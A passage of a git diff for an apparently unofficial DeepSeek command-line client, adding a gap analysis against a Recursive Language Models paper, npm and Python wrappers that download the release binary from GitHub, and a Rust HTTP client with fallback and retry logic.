sub-agent orchestration with shared buffers + depth limits + +--- + +### 3. Missing RLM-Specific System Prompts + +**RLM Paper Requirement:** +> "You are tasked with answering a query with associated context... You can access, transform, and analyze this context interactively in a REPL environment that can recursively query sub-LLs, which you are strongly encouraged to use as much as possible." + +**Current DeepSeek Implementation (v0.1.6):** +- Dedicated RLM prompt (`src/prompts/rlm.txt`) with REPL/tool guidance +- RLM sub-call prompt enforces FINAL / FINAL_VAR output conventions +- Prompt guidance for batching and verification + +**Gap Severity:** 🟢 LOW + +**Status:** ✅ Addressed + +--- + +### 4. No Context Offloading to External Environment + +**RLM Paper Requirement:** +> "The key insight is that long prompts should not be fed into the neural network directly but should instead be treated as part of the environment that the LLM can symbolically interact with." + +**Current DeepSeek Implementation (v0.1.6):** +- RLM contexts are stored externally in `RlmSession` +- Only summaries are injected into the system prompt +- LLM accesses context via `rlm_exec`, `rlm_query`, and `rlm_load` + +**Gap Severity:** 🟢 LOW + +**Status:** ✅ Addressed + +--- + +### 5. Missing Context Chunking Intelligence + +**RLM Paper Requirement:** +> "An example strategy is to first look at the context and figure out a chunking strategy, then break up the context into smart chunks, and query an LLM per chunk with a particular question." + +**Current DeepSeek Implementation (v0.1.6):** +- Fixed-size chunking (`chunk`) plus `chunk_sections`, `chunk_lines`, and `chunk_auto` +- LLM controls chunking via `rlm_exec` before issuing sub-calls +- `rlm_query auto_chunks` enables whole-document sweeps over `chunk_auto` +- No true semantic chunking (AST/function/paragraph-aware) + +**Current Code (src/rlm.rs):** +```rust +pub fn chunk(&self, chunk_size: usize, overlap: usize) -> Vec { + // Fixed-size character-based chunking only +} +``` + +**Gap Severity:** 🟡 MEDIUM + +**Remaining Enhancements:** +- Deeper semantic chunking (AST/function-aware) and richer metadata + +--- + +### 6. No Buffer Variable System + +**RLM Paper Requirement:** +> "Use these variables as buffers to build up your final answer... store the output of sub-LM calls over the input in variables and stitch them together." + +**Current DeepSeek Implementation (v0.1.6):** +- Buffer variables are supported via `vars/get/set/append/del` +- `rlm_query` supports `store_as` + FINAL_VAR parsing to persist results +- Variables persist per context across tool calls + +**Current Code (src/rlm.rs):** +```rust +pub struct RlmContext { + pub variables: HashMap, + ... +} +``` + +**Gap Severity:** 🟢 LOW + +**Status:** ✅ Addressed + +--- + +### 7. Missing Answer Verification Pattern + +**RLM Paper Requirement:** +> "We observed several instances of answer verification made by RLMs through sub-LM calls... Some of these strategies implicitly avoid context rot by using sub-LMs to perform verification." + +**Current DeepSeek Implementation (v0.1.6):** +- `rlm_query` supports `mode="verify"` for explicit verification calls +- LLM can batch verification queries to cross-check answers + +**Gap Severity:** 🟢 LOW + +**Remaining Enhancements:** +- Optional confidence scoring or contradiction heuristics + +--- + +### 8. No Cost-Aware Sub-Call Batching + +**RLM Paper Requirement (Appendix D.1):** +> "IMPORTANT: Be very careful about using 'llm_query' as it incurs high runtime costs. Always batch as much information as reasonably possible into each call (aim for around 200k characters per call)." + +**Current DeepSeek Implementation (v0.1.6):** +- Sub-call usage tracking (query count + token totals) +- Prompt guidance to batch queries and cap payload size +- `rlm_status` exposes aggregate usage stats +- Footer guardrails warn on high query/token usage + +**Gap Severity:** 🟢 LOW + +**Remaining Enhancements:** +- Optional hard caps or per-model budget limits + +--- + +### 9. No Iterative REPL Loop Integration + +**RLM Paper Requirement:** +> "You will be queried iteratively until you provide a final answer... Output to the REPL environment and recursive LLMs as much as possible." + +**Current DeepSeek Implementation (v0.1.6):** +- Shared RLM session persists across tool calls and turns +- LLM iteratively invokes `rlm_exec`/`rlm_query` within a single turn +- FINAL / FINAL_VAR markers enforced in prompts + +**Gap Severity:** 🟢 LOW + +**Status:** ✅ Addressed + +--- + +### 10. Missing Model-Specific RLM Tuning + +**RLM Paper Requirement:** +> "The only difference in the prompt is an extra line... warning against using too many sub-calls... Between GPT-5 and Qwen3-Coder, we found different behavior... models are inefficient decision makers over their context." + +**Current DeepSeek Implementation:** +- Single system prompt for all sub-agent types +- No model-specific tuning +- No adaptive prompting based on model behavior +- No sub-call warning mechanisms + +**Gap Severity:** 🟢 LOW + +**Required Implementation:** +- Model-aware prompting strategies +- Adaptive sub-call limits per model +- Behavior monitoring and correction +- Per-model cost/performance tracking + +--- + +## Remaining Optional Components + +The core RLM workflow is now implemented via tools (`rlm_load`, `rlm_exec`, `rlm_query`, `rlm_status`) +and prompt integration. The following are optional future refactors: + +- **`src/rlm_engine.rs`**: central orchestration layer if RLM logic grows +- **`src/rlm_prompts.rs`**: model-specific prompt variants and tuning +- **`src/rlm_repl.rs`**: richer syntax/REPL language (current expressions are sufficient) +- **`src/tools/subagent.rs`**: nested sub-agent orchestration with shared buffers + +--- + +## Remaining Improvements (Post-Sprint 3) + +| Priority | Gap | Files to Change | Effort | +|----------|-----|-----------------|--------| +| P2 | Semantic chunking + metadata | rlm.rs | Medium | +| P2 | Budget hard caps / per-model limits | rlm.rs, tui/ui.rs | Medium | +| P3 | Nested sub-agent orchestration | tools/subagent.rs | High | +| P3 | Model-specific tuning | prompts/rlm.txt or new module | Low | + +--- + +## Comparison Summary + +| Aspect | RLM Paper | DeepSeek CLI | Gap | +|--------|-----------|-------------|-----| +| Context Handling | External variable in REPL | Externalized RLM session + prompt summary | 🟢 LOW | +| Sub-Calls | Recursive with buffers | `rlm_query` + shared buffers (no nested runtime) | 🟡 MEDIUM | +| REPL | Python REPL with llm_query | Tool-based REPL (`rlm_exec` + `rlm_query`) | 🟢 LOW | +| Output Format | FINAL/FINAL_VAR tags | Enforced in RLM prompts | 🟢 LOW | +| System Prompts | RLM-specific with examples | RLM + sub-call prompts | 🟢 LOW | +| Context Chunking | Adaptive, semantic | Fixed + section/line/auto chunking | 🟡 MEDIUM | +| Buffer Variables | Persistent across calls | Vars + store_as + FINAL_VAR | 🟢 LOW | +| Cost Tracking | Per-sub-call budgeting | Usage totals + batch guidance + UI warnings | 🟢 LOW | +| Answer Verification | Sub-LM confirmation | Verify mode in `rlm_query` | 🟢 LOW | +| Iterative Execution | Multi-turn REPL loop | Shared session across turns | 🟢 LOW | + +--- + +## References + +- Khattab, O., Kraska, A., & Zhang, A. L. (2025). Recursive Language Models. arXiv:2512.24601 +- DeepSeek CLI Implementation: src/rlm.rs, src/tools/subagent.rs diff --git a/npm/cli.js b/npm/cli.js new file mode 100644 index 00000000..05a870e4 --- /dev/null +++ b/npm/cli.js @@ -0,0 +1,36 @@ +#!/usr/bin/env node +/** + * CLI wrapper - executes the downloaded DeepSeek binary. + */ + +const { spawn } = require("child_process"); +const path = require("path"); +const fs = require("fs"); + +const binDir = path.join(__dirname, "bin"); +const binName = process.platform === "win32" ? "deepseek.exe" : "deepseek"; +const binPath = path.join(binDir, binName); + +// Check for override +const override = process.env.DEEPSEEK_CLI_PATH; +const effectivePath = override && fs.existsSync(override) ? override : binPath; + +if (!fs.existsSync(effectivePath)) { + console.error("DeepSeek CLI binary not found."); + console.error("Try reinstalling: npm install -g @hmbown/deepseek-tui"); + process.exit(1); +} + +// Spawn the binary with all arguments +const child = spawn(effectivePath, process.argv.slice(2), { + stdio: "inherit", +}); + +child.on("error", (err) => { + console.error("Failed to start DeepSeek CLI:", err.message); + process.exit(1); +}); + +child.on("exit", (code) => { + process.exit(code ?? 0); +}); diff --git a/npm/install.js b/npm/install.js new file mode 100644 index 00000000..8a505834 --- /dev/null +++ b/npm/install.js @@ -0,0 +1,93 @@ +#!/usr/bin/env node +/** + * Postinstall script - downloads the DeepSeek CLI binary for the current platform. + */ + +const https = require("https"); +const fs = require("fs"); +const path = require("path"); +const { execSync } = require("child_process"); + +const VERSION = require("./package.json").version; +const REPO = "Hmbown/DeepSeek-TUI"; + +const PLATFORMS = { + "linux-x64": "deepseek-linux-x64", + "darwin-arm64": "deepseek-macos-arm64", + "darwin-x64": "deepseek-macos-x64", + "win32-x64": "deepseek-windows-x64.exe", +}; + +async function main() { + const platform = `${process.platform}-${process.arch}`; + const assetName = PLATFORMS[platform]; + + if (!assetName) { + console.error(`Unsupported platform: ${platform}`); + console.error(`Supported: ${Object.keys(PLATFORMS).join(", ")}`); + process.exit(1); + } + + const binDir = path.join(__dirname, "bin"); + const binName = process.platform === "win32" ? "deepseek.exe" : "deepseek"; + const binPath = path.join(binDir, binName); + + // Skip if already exists + if (fs.existsSync(binPath)) { + console.log(`DeepSeek CLI already installed at ${binPath}`); + return; + } + + const url = `https://github.com/${REPO}/releases/download/v${VERSION}/${assetName}`; + console.log(`Downloading DeepSeek CLI v${VERSION}...`); + + fs.mkdirSync(binDir, { recursive: true }); + + await download(url, binPath); + + // Make executable on Unix + if (process.platform !== "win32") { + fs.chmodSync(binPath, 0o755); + } + + console.log(`Installed DeepSeek CLI to ${binPath}`); +} + +function download(url, dest) { + return new Promise((resolve, reject) => { + const file = fs.createWriteStream(dest); + + function doRequest(requestUrl) { + https + .get(requestUrl, (response) => { + // Handle redirects + if (response.statusCode >= 300 && response.statusCode < 400 && response.headers.location) { + doRequest(response.headers.location); + return; + } + + if (response.statusCode !== 200) { + reject(new Error(`Download failed: HTTP ${response.statusCode}`)); + return; + } + + response.pipe(file); + file.on("finish", () => { + file.close(); + resolve(); + }); + }) + .on("error", (err) => { + fs.unlink(dest, () => {}); + reject(err); + }); + } + + doRequest(url); + }); +} + +main().catch((err) => { + console.error("Failed to install DeepSeek CLI:", err.message); + process.exit(1); +}); diff --git a/npm/package.json b/npm/package.json new file mode 100644 index 00000000..67b8c270 --- /dev/null +++ b/npm/package.json @@ -0,0 +1,27 @@ +{ + "name": "@hmbown/deepseek-tui", + "version": "0.1.0", + "description": "Unofficial DeepSeek CLI - downloads and runs the Rust binary", + "keywords": ["deepseek", "cli", "ai", "agent", "m2.1"], + "homepage": "https://github.com/Hmbown/DeepSeek-TUI", + "repository": { + "type": "git", + "url": "git+https://github.com/Hmbown/DeepSeek-TUI.git" + }, + "license": "MIT", + "author": "Hmbown", + "bin": { + "deepseek": "cli.js" + }, + "scripts": { + "postinstall": "node install.js" + }, + "files": [ + "cli.js", + "install.js", + "bin" + ], + "engines": { + "node": ">=16" + } +} diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 00000000..e6e29755 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,31 @@ +[build-system] +requires = ["setuptools>=68", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "DeepSeek-CLI" +version = "0.0.1" +description = "Unofficial DeepSeek CLI - downloads and runs the Rust binary" +readme = "README.md" +requires-python = ">=3.8" +authors = [{ name = "Hmbown" }] +keywords = ["deepseek", "cli", "ai", "agent"] +classifiers = [ + "Development Status :: 3 - Alpha", + "Programming Language :: Python :: 3", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", +] + +[project.urls] +Homepage = "https://github.com/Hmbown/DeepSeek-CLI" +Source = "https://github.com/Hmbown/DeepSeek-CLI" + +[project.scripts] +deepseek-cli = "deepseek_cli.cli:main" + +[tool.setuptools.package-dir] +"" = "python" + +[tool.setuptools.packages.find] +where = ["python"] diff --git a/python/deepseek_cli/__init__.py b/python/deepseek_cli/__init__.py new file mode 100644 index 00000000..af44571c --- /dev/null +++ b/python/deepseek_cli/__init__.py @@ -0,0 +1,34 @@ +from importlib.metadata import PackageNotFoundError, version +from pathlib import Path +from typing import Optional +import re + +__all__ = ["__version__"] + + +def _version_from_metadata() -> Optional[str]: + for dist_name in ("DeepSeek-CLI", "deepseek-cli", "DeepSeek_CLI"): + try: + return version(dist_name) + except PackageNotFoundError: + continue + return None + + +def _version_from_pyproject() -> Optional[str]: + this_file = Path(__file__).resolve() + for parent in list(this_file.parents)[:6]: + candidate = parent / "pyproject.toml" + if not candidate.exists(): + continue + try: + contents = candidate.read_text(encoding="utf-8") + except OSError: + continue + match = re.search(r'(?m)^version\\s*=\\s*"([^"]+)"\\s*$', contents) + if match: + return match.group(1) + return None + + +__version__ = _version_from_metadata() or _version_from_pyproject() or "0.0.0" diff --git a/python/deepseek_cli/cli.py b/python/deepseek_cli/cli.py new file mode 100644 index 00000000..d1c992f5 --- /dev/null +++ b/python/deepseek_cli/cli.py @@ -0,0 +1,84 @@ +"""Thin wrapper that downloads and runs the DeepSeek CLI binary.""" + +import os +import platform +import stat +import sys +from pathlib import Path +from urllib.request import urlopen + +from deepseek_cli import __version__ + +REPO = "Hmbown/DeepSeek-CLI" + + +def main() -> None: + """Entry point - resolve binary and exec it.""" + binary = resolve_binary() + os.execv(binary, [binary, *sys.argv[1:]]) + + +def resolve_binary() -> str: + """Find or download the deepseek binary.""" + # Allow override via environment + override = os.getenv("DEEPSEEK_CLI_PATH") + if override and Path(override).exists(): + return override + + # Check cache + cache_dir = Path.home() / ".deepseek" / "bin" / __version__ + cache_dir.mkdir(parents=True, exist_ok=True) + + asset_name = get_asset_name() + bin_name = "deepseek.exe" if sys.platform == "win32" else "deepseek" + dest = cache_dir / bin_name + + if dest.exists(): + return str(dest) + + if os.getenv("DEEPSEEK_CLI_SKIP_DOWNLOAD") in ("1", "true", "TRUE"): + raise RuntimeError("deepseek binary not found and downloads are disabled.") + + # Download from GitHub releases + url = f"https://github.com/{REPO}/releases/download/v{__version__}/{asset_name}" + print(f"Downloading DeepSeek CLI v{__version__}...", file=sys.stderr) + download_binary(url, dest) + return str(dest) + + +def get_asset_name() -> str: + """Get the release asset name for this platform.""" + system = platform.system().lower() + arch = platform.machine().lower() + + if system == "linux" and arch in ("x86_64", "amd64"): + return "deepseek-linux-x64" + if system == "darwin" and arch in ("arm64", "aarch64"): + return "deepseek-macos-arm64" + if system == "darwin" and arch in ("x86_64", "amd64"): + return "deepseek-macos-x64" + if system == "windows" and arch in ("x86_64", "amd64", "amd64"): + return "deepseek-windows-x64.exe" + + raise RuntimeError(f"Unsupported platform: {system}/{arch}") + + +def download_binary(url: str, dest: Path) -> None: + """Download binary from URL to destination.""" + try: + with urlopen(url, timeout=60) as response: + data = response.read() + except Exception as e: + raise RuntimeError(f"Failed to download: {e}") from e + + dest.write_bytes(data) + + # Make executable on Unix + if sys.platform != "win32": + dest.chmod(dest.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) + + print(f"Installed to {dest}", file=sys.stderr) + + +if __name__ == "__main__": + main() diff --git a/src/client.rs b/src/client.rs new file mode 100644 index 00000000..8f3d4ec9 --- /dev/null +++ b/src/client.rs @@ -0,0 +1,822 @@ +//! HTTP client for the DeepSeek OpenAI-compatible APIs. +//! +//! Uses the OpenAI Responses API when available, falling back to Chat Completions +//! if the Responses endpoint is unsupported by the target base URL. + +use std::pin::Pin; +use std::sync::atomic::{AtomicBool, Ordering}; + +use anyhow::{Context, Result}; +use futures_util::stream; +use reqwest::header::{AUTHORIZATION, CONTENT_TYPE, HeaderMap, HeaderValue}; +use serde_json::{Value, json}; + +use crate::config::{Config, RetryPolicy}; +use crate::llm_client::{LlmClient, StreamEventBox}; +use crate::logging; +use crate::models::{ + ContentBlock, ContentBlockStart, Delta, Message, MessageDelta, MessageRequest, MessageResponse, + StreamEvent, SystemPrompt, Tool, Usage, +}; + +// === Types === + +/// Client for DeepSeek's OpenAI-compatible APIs. +#[must_use] +pub struct DeepSeekClient { + http_client: reqwest::Client, + base_url: String, + retry: RetryPolicy, + default_model: String, + use_chat_completions: AtomicBool, +} + +impl Clone for DeepSeekClient { + fn clone(&self) -> Self { + Self { + http_client: self.http_client.clone(), + base_url: self.base_url.clone(), + retry: self.retry.clone(), + default_model: self.default_model.clone(), + use_chat_completions: AtomicBool::new( + self.use_chat_completions.load(Ordering::Relaxed), + ), + } + } +} + +// === DeepSeekClient === + +impl DeepSeekClient { + /// Create a DeepSeek client from CLI configuration. + pub fn new(config: &Config) -> Result { + let api_key = config.deepseek_api_key()?; + let base_url = config.deepseek_base_url(); + let retry = config.retry_policy(); + let default_model = config + .default_text_model + .clone() + .unwrap_or_else(|| "deepseek-reasoner".to_string()); + + logging::info(format!("DeepSeek base URL: {base_url}")); + logging::info(format!( + "Retry policy: enabled={}, max_retries={}, initial_delay={}s, max_delay={}s", + retry.enabled, retry.max_retries, retry.initial_delay, retry.max_delay + )); + + let mut headers = HeaderMap::new(); + headers.insert(CONTENT_TYPE, HeaderValue::from_static("application/json")); + headers.insert( + AUTHORIZATION, + HeaderValue::from_str(&format!("Bearer {api_key}"))?, + ); + + let http_client = reqwest::Client::builder() + .default_headers(headers) + .build()?; + + Ok(Self { + http_client, + base_url, + retry, + default_model, + use_chat_completions: AtomicBool::new(false), + }) + } + + async fn create_message_responses( + &self, + request: &MessageRequest, + ) -> Result> { + let mut body = json!({ + "model": request.model, + "input": build_responses_input(&request.messages), + "store": false, + "max_output_tokens": request.max_tokens, + }); + + if let Some(instructions) = system_to_instructions(request.system.clone()) { + body["instructions"] = json!(instructions); + } + if let Some(temperature) = request.temperature { + body["temperature"] = json!(temperature); + } + if let Some(top_p) = request.top_p { + body["top_p"] = json!(top_p); + } + if let Some(tools) = request.tools.as_ref() { + body["tools"] = json!(tools.iter().map(tool_to_responses).collect::>()); + } + if let Some(choice) = request.tool_choice.as_ref() { + body["tool_choice"] = choice.clone(); + } + + let url = format!("{}/v1/responses", self.base_url.trim_end_matches('/')); + let response = + send_with_retry(&self.retry, || self.http_client.post(&url).json(&body)).await?; + + let status = response.status(); + let response_text = response.text().await.unwrap_or_default(); + + if status.as_u16() == 404 || status.as_u16() == 405 { + return Ok(Err(ResponsesFallback { + status: status.as_u16(), + body: response_text, + })); + } + + if !status.is_success() { + anyhow::bail!("Failed to call DeepSeek Responses API: HTTP {status}: {response_text}"); + } + + let value: Value = + serde_json::from_str(&response_text).context("Failed to parse Responses API JSON")?; + let message = parse_responses_message(&value)?; + Ok(Ok(message)) + } + + async fn create_message_chat(&self, request: &MessageRequest) -> Result { + let messages = + build_chat_messages(request.system.as_ref(), &request.messages, &request.model); + let mut body = json!({ + "model": request.model, + "messages": messages, + "max_tokens": request.max_tokens, + }); + + if let Some(temperature) = request.temperature { + body["temperature"] = json!(temperature); + } + if let Some(top_p) = request.top_p { + body["top_p"] = json!(top_p); + } + if let Some(tools) = request.tools.as_ref() { + body["tools"] = json!(tools.iter().map(tool_to_chat).collect::>()); + } + if let Some(choice) = request.tool_choice.as_ref() { + if let Some(mapped) = map_tool_choice_for_chat(choice) { + body["tool_choice"] = mapped; + } + } + + let url = format!( + "{}/v1/chat/completions", + self.base_url.trim_end_matches('/') + ); + let response = + send_with_retry(&self.retry, || self.http_client.post(&url).json(&body)).await?; + + let status = response.status(); + let response_text = response.text().await.unwrap_or_default(); + if !status.is_success() { + anyhow::bail!("Failed to call DeepSeek Chat API: HTTP {status}: {response_text}"); + } + + let value: Value = + serde_json::from_str(&response_text).context("Failed to parse Chat API JSON")?; + parse_chat_message(&value) + } +} + +// === Trait Implementations === + +impl LlmClient for DeepSeekClient { + fn provider_name(&self) -> &'static str { + "deepseek" + } + + fn model(&self) -> &str { + &self.default_model + } + + async fn create_message(&self, request: MessageRequest) -> Result { + if self.use_chat_completions.load(Ordering::Relaxed) { + return self.create_message_chat(&request).await; + } + + let request_clone = request.clone(); + match self.create_message_responses(&request).await? { + Ok(message) => Ok(message), + Err(fallback) => { + logging::warn(format!( + "Responses API unavailable (HTTP {}). Falling back to chat completions.", + fallback.status + )); + logging::info(format!( + "Responses fallback body: {}", + crate::utils::truncate_with_ellipsis(&fallback.body, 500, "...") + )); + self.use_chat_completions.store(true, Ordering::Relaxed); + self.create_message_chat(&request_clone).await + } + } + } + + async fn create_message_stream(&self, request: MessageRequest) -> Result { + let response = self.create_message(request).await?; + let events = build_stream_events(&response); + let stream = stream::iter(events.into_iter().map(Ok)); + Ok(Pin::from(Box::new(stream))) + } +} + +// === Responses API Helpers === + +#[derive(Debug)] +struct ResponsesFallback { + status: u16, + body: String, +} + +fn system_to_instructions(system: Option) -> Option { + match system { + Some(SystemPrompt::Text(text)) => Some(text), + Some(SystemPrompt::Blocks(blocks)) => { + let joined = blocks + .into_iter() + .map(|b| b.text) + .collect::>() + .join("\n\n---\n\n"); + if joined.trim().is_empty() { + None + } else { + Some(joined) + } + } + None => None, + } +} + +fn build_responses_input(messages: &[Message]) -> Vec { + let mut items = Vec::new(); + + for message in messages { + let role = message.role.as_str(); + let text_type = if role == "user" { + "input_text" + } else { + "output_text" + }; + + for block in &message.content { + match block { + ContentBlock::Text { text, .. } => { + items.push(json!({ + "type": "message", + "role": role, + "content": [{ + "type": text_type, + "text": text, + }] + })); + } + ContentBlock::ToolUse { id, name, input } => { + let args = serde_json::to_string(input).unwrap_or_else(|_| input.to_string()); + items.push(json!({ + "type": "function_call", + "call_id": id, + "name": name, + "arguments": args, + })); + } + ContentBlock::ToolResult { + tool_use_id, + content, + } => { + items.push(json!({ + "type": "function_call_output", + "call_id": tool_use_id, + "output": content, + })); + } + ContentBlock::Thinking { .. } => {} + } + } + } + + items +} + +fn tool_to_responses(tool: &Tool) -> Value { + json!({ + "type": "function", + "name": tool.name, + "description": tool.description, + "parameters": tool.input_schema, + }) +} + +fn parse_responses_message(payload: &Value) -> Result { + let id = payload + .get("id") + .and_then(Value::as_str) + .unwrap_or("response") + .to_string(); + let model = payload + .get("model") + .and_then(Value::as_str) + .unwrap_or("unknown") + .to_string(); + + let usage = parse_usage(payload.get("usage")); + let mut content = Vec::new(); + + if let Some(output) = payload.get("output").and_then(Value::as_array) { + for item in output { + let item_type = item.get("type").and_then(Value::as_str).unwrap_or(""); + match item_type { + "message" => { + if let Some(role) = item.get("role").and_then(Value::as_str) + && role != "assistant" + { + continue; + } + if let Some(content_items) = item.get("content").and_then(Value::as_array) { + for content_item in content_items { + let content_type = content_item + .get("type") + .and_then(Value::as_str) + .unwrap_or("output_text"); + if content_type != "output_text" && content_type != "text" { + continue; + } + if let Some(text) = content_item.get("text").and_then(Value::as_str) { + if !text.trim().is_empty() { + content.push(ContentBlock::Text { + text: text.to_string(), + cache_control: None, + }); + } + } + } + } + } + "function_call" => { + let call_id = item + .get("call_id") + .or_else(|| item.get("id")) + .and_then(Value::as_str) + .unwrap_or("tool_call") + .to_string(); + let name = item + .get("name") + .and_then(Value::as_str) + .unwrap_or("tool") + .to_string(); + let input = match item.get("arguments") { + Some(Value::String(raw)) => { + serde_json::from_str(raw).unwrap_or_else(|_| Value::String(raw.clone())) + } + Some(other) => other.clone(), + None => Value::Null, + }; + content.push(ContentBlock::ToolUse { + id: call_id, + name, + input, + }); + } + "reasoning" => { + if let Some(summary) = item.get("summary").and_then(Value::as_array) { + let summary_text = summary + .iter() + .filter_map(|s| s.get("text").and_then(Value::as_str)) + .collect::>() + .join("\n"); + if !summary_text.trim().is_empty() { + content.push(ContentBlock::Thinking { + thinking: summary_text, + }); + } + } + } + _ => {} + } + } + } + + if content.is_empty() { + if let Some(text) = payload.get("output_text").and_then(Value::as_str) { + if !text.trim().is_empty() { + content.push(ContentBlock::Text { + text: text.to_string(), + cache_control: None, + }); + } + } + } + + Ok(MessageResponse { + id, + r#type: "message".to_string(), + role: "assistant".to_string(), + content, + model, + stop_reason: None, + stop_sequence: None, + usage, + }) +} + +// === Chat Completions Helpers === + +fn build_chat_messages( + system: Option<&SystemPrompt>, + messages: &[Message], + model: &str, +) -> Vec { + let mut out = Vec::new(); + let include_reasoning = requires_reasoning_content(model); + + if let Some(instructions) = system_to_instructions(system.cloned()) { + if !instructions.trim().is_empty() { + out.push(json!({ + "role": "system", + "content": instructions, + })); + } + } + + for message in messages { + let role = message.role.as_str(); + let mut text_parts = Vec::new(); + let mut thinking_parts = Vec::new(); + let mut tool_calls = Vec::new(); + let mut tool_results = Vec::new(); + + for block in &message.content { + match block { + ContentBlock::Text { text, .. } => text_parts.push(text.clone()), + ContentBlock::Thinking { thinking } => thinking_parts.push(thinking.clone()), + ContentBlock::ToolUse { id, name, input } => { + let args = serde_json::to_string(input).unwrap_or_else(|_| input.to_string()); + tool_calls.push(json!({ + "id": id, + "type": "function", + "function": { + "name": name, + "arguments": args, + } + })); + } + ContentBlock::ToolResult { + tool_use_id, + content, + } => { + tool_results.push(json!({ + "role": "tool", + "tool_call_id": tool_use_id, + "content": content, + })); + } + } + } + + if role == "assistant" { + let content = text_parts.join("\n"); + let mut msg = json!({ + "role": "assistant", + "content": if content.is_empty() { Value::Null } else { json!(content) }, + }); + if include_reasoning { + msg["reasoning_content"] = json!(thinking_parts.join("\n")); + } + if !tool_calls.is_empty() { + msg["tool_calls"] = json!(tool_calls); + } + out.push(msg); + } else if role == "user" { + let content = text_parts.join("\n"); + if !content.trim().is_empty() { + out.push(json!({ + "role": "user", + "content": content, + })); + } + } + + if !tool_results.is_empty() { + out.extend(tool_results); + } + } + + out +} + +fn tool_to_chat(tool: &Tool) -> Value { + json!({ + "type": "function", + "function": { + "name": tool.name, + "description": tool.description, + "parameters": tool.input_schema, + } + }) +} + +fn map_tool_choice_for_chat(choice: &Value) -> Option { + if let Some(choice_str) = choice.as_str() { + return Some(json!(choice_str)); + } + let Some(choice_type) = choice.get("type").and_then(Value::as_str) else { + return Some(choice.clone()); + }; + + match choice_type { + "auto" | "none" => Some(json!(choice_type)), + "any" => Some(json!("auto")), + "tool" => choice.get("name").and_then(Value::as_str).map(|name| { + json!({ + "type": "function", + "function": { "name": name } + }) + }), + _ => Some(choice.clone()), + } +} + +fn requires_reasoning_content(model: &str) -> bool { + let lower = model.to_lowercase(); + lower.contains("deepseek-reasoner") + || lower.contains("deepseek-r1") + || lower.contains("reasoner") +} + +fn parse_chat_message(payload: &Value) -> Result { + let id = payload + .get("id") + .and_then(Value::as_str) + .unwrap_or("chatcmpl") + .to_string(); + let model = payload + .get("model") + .and_then(Value::as_str) + .unwrap_or("unknown") + .to_string(); + + let choices = payload + .get("choices") + .and_then(Value::as_array) + .context("Chat API response missing choices")?; + let choice = choices + .get(0) + .context("Chat API response missing first choice")?; + let message = choice + .get("message") + .context("Chat API response missing message")?; + + let mut content_blocks = Vec::new(); + if let Some(reasoning) = message.get("reasoning_content").and_then(Value::as_str) { + if !reasoning.trim().is_empty() { + content_blocks.push(ContentBlock::Thinking { + thinking: reasoning.to_string(), + }); + } + } + if let Some(text) = message.get("content").and_then(Value::as_str) { + if !text.trim().is_empty() { + content_blocks.push(ContentBlock::Text { + text: text.to_string(), + cache_control: None, + }); + } + } + + if let Some(tool_calls) = message.get("tool_calls").and_then(Value::as_array) { + for call in tool_calls { + let id = call + .get("id") + .and_then(Value::as_str) + .unwrap_or("tool_call") + .to_string(); + let function = call.get("function"); + let name = function + .and_then(|f| f.get("name")) + .and_then(Value::as_str) + .unwrap_or("tool") + .to_string(); + let arguments = function + .and_then(|f| f.get("arguments")) + .and_then(Value::as_str) + .map(|raw| serde_json::from_str(raw).unwrap_or(Value::String(raw.to_string()))) + .unwrap_or(Value::Null); + + content_blocks.push(ContentBlock::ToolUse { + id, + name, + input: arguments, + }); + } + } + + let usage = parse_usage(payload.get("usage")); + + Ok(MessageResponse { + id, + r#type: "message".to_string(), + role: "assistant".to_string(), + content: content_blocks, + model, + stop_reason: choice + .get("finish_reason") + .and_then(Value::as_str) + .map(str::to_string), + stop_sequence: None, + usage, + }) +} + +fn parse_usage(usage: Option<&Value>) -> Usage { + let input_tokens = usage + .and_then(|u| u.get("input_tokens").or_else(|| u.get("prompt_tokens"))) + .and_then(Value::as_u64) + .unwrap_or(0); + let output_tokens = usage + .and_then(|u| { + u.get("output_tokens") + .or_else(|| u.get("completion_tokens")) + }) + .and_then(Value::as_u64) + .unwrap_or(0); + + Usage { + input_tokens: input_tokens as u32, + output_tokens: output_tokens as u32, + } +} + +// === Streaming Helpers === + +fn build_stream_events(response: &MessageResponse) -> Vec { + let mut events = Vec::new(); + let mut index = 0u32; + + events.push(StreamEvent::MessageStart { + message: response.clone(), + }); + + for block in &response.content { + match block { + ContentBlock::Text { text, .. } => { + events.push(StreamEvent::ContentBlockStart { + index, + content_block: ContentBlockStart::Text { + text: String::new(), + }, + }); + if !text.is_empty() { + events.push(StreamEvent::ContentBlockDelta { + index, + delta: Delta::TextDelta { text: text.clone() }, + }); + } + events.push(StreamEvent::ContentBlockStop { index }); + } + ContentBlock::Thinking { thinking } => { + events.push(StreamEvent::ContentBlockStart { + index, + content_block: ContentBlockStart::Thinking { + thinking: String::new(), + }, + }); + if !thinking.is_empty() { + events.push(StreamEvent::ContentBlockDelta { + index, + delta: Delta::ThinkingDelta { + thinking: thinking.clone(), + }, + }); + } + events.push(StreamEvent::ContentBlockStop { index }); + } + ContentBlock::ToolUse { id, name, input } => { + events.push(StreamEvent::ContentBlockStart { + index, + content_block: ContentBlockStart::ToolUse { + id: id.clone(), + name: name.clone(), + input: input.clone(), + }, + }); + events.push(StreamEvent::ContentBlockStop { index }); + } + ContentBlock::ToolResult { .. } => {} + } + index = index.saturating_add(1); + } + + events.push(StreamEvent::MessageDelta { + delta: MessageDelta { + stop_reason: response.stop_reason.clone(), + stop_sequence: response.stop_sequence.clone(), + }, + usage: Some(response.usage.clone()), + }); + events.push(StreamEvent::MessageStop); + + events +} + +// === Retry Helpers === + +async fn send_with_retry(policy: &RetryPolicy, mut build: F) -> Result +where + F: FnMut() -> reqwest::RequestBuilder, +{ + let mut attempt: u32 = 0; + + loop { + let result = build().send().await; + + match result { + Ok(response) => { + let status = response.status(); + + // Return successful responses immediately + if status.is_success() { + return Ok(response); + } + + // Return non-retryable errors to let caller handle (e.g., 404 for fallback) + let retryable = status.as_u16() == 429 || status.is_server_error(); + if !retryable { + return Ok(response); + } + + // Retry if policy allows and we haven't exceeded max retries + if !policy.enabled || attempt >= policy.max_retries { + return Ok(response); + } + + logging::warn(format!( + "Retryable HTTP {} (attempt {} of {})", + status.as_u16(), + attempt + 1, + policy.max_retries + 1 + )); + } + Err(err) => { + if !policy.enabled || attempt >= policy.max_retries { + return 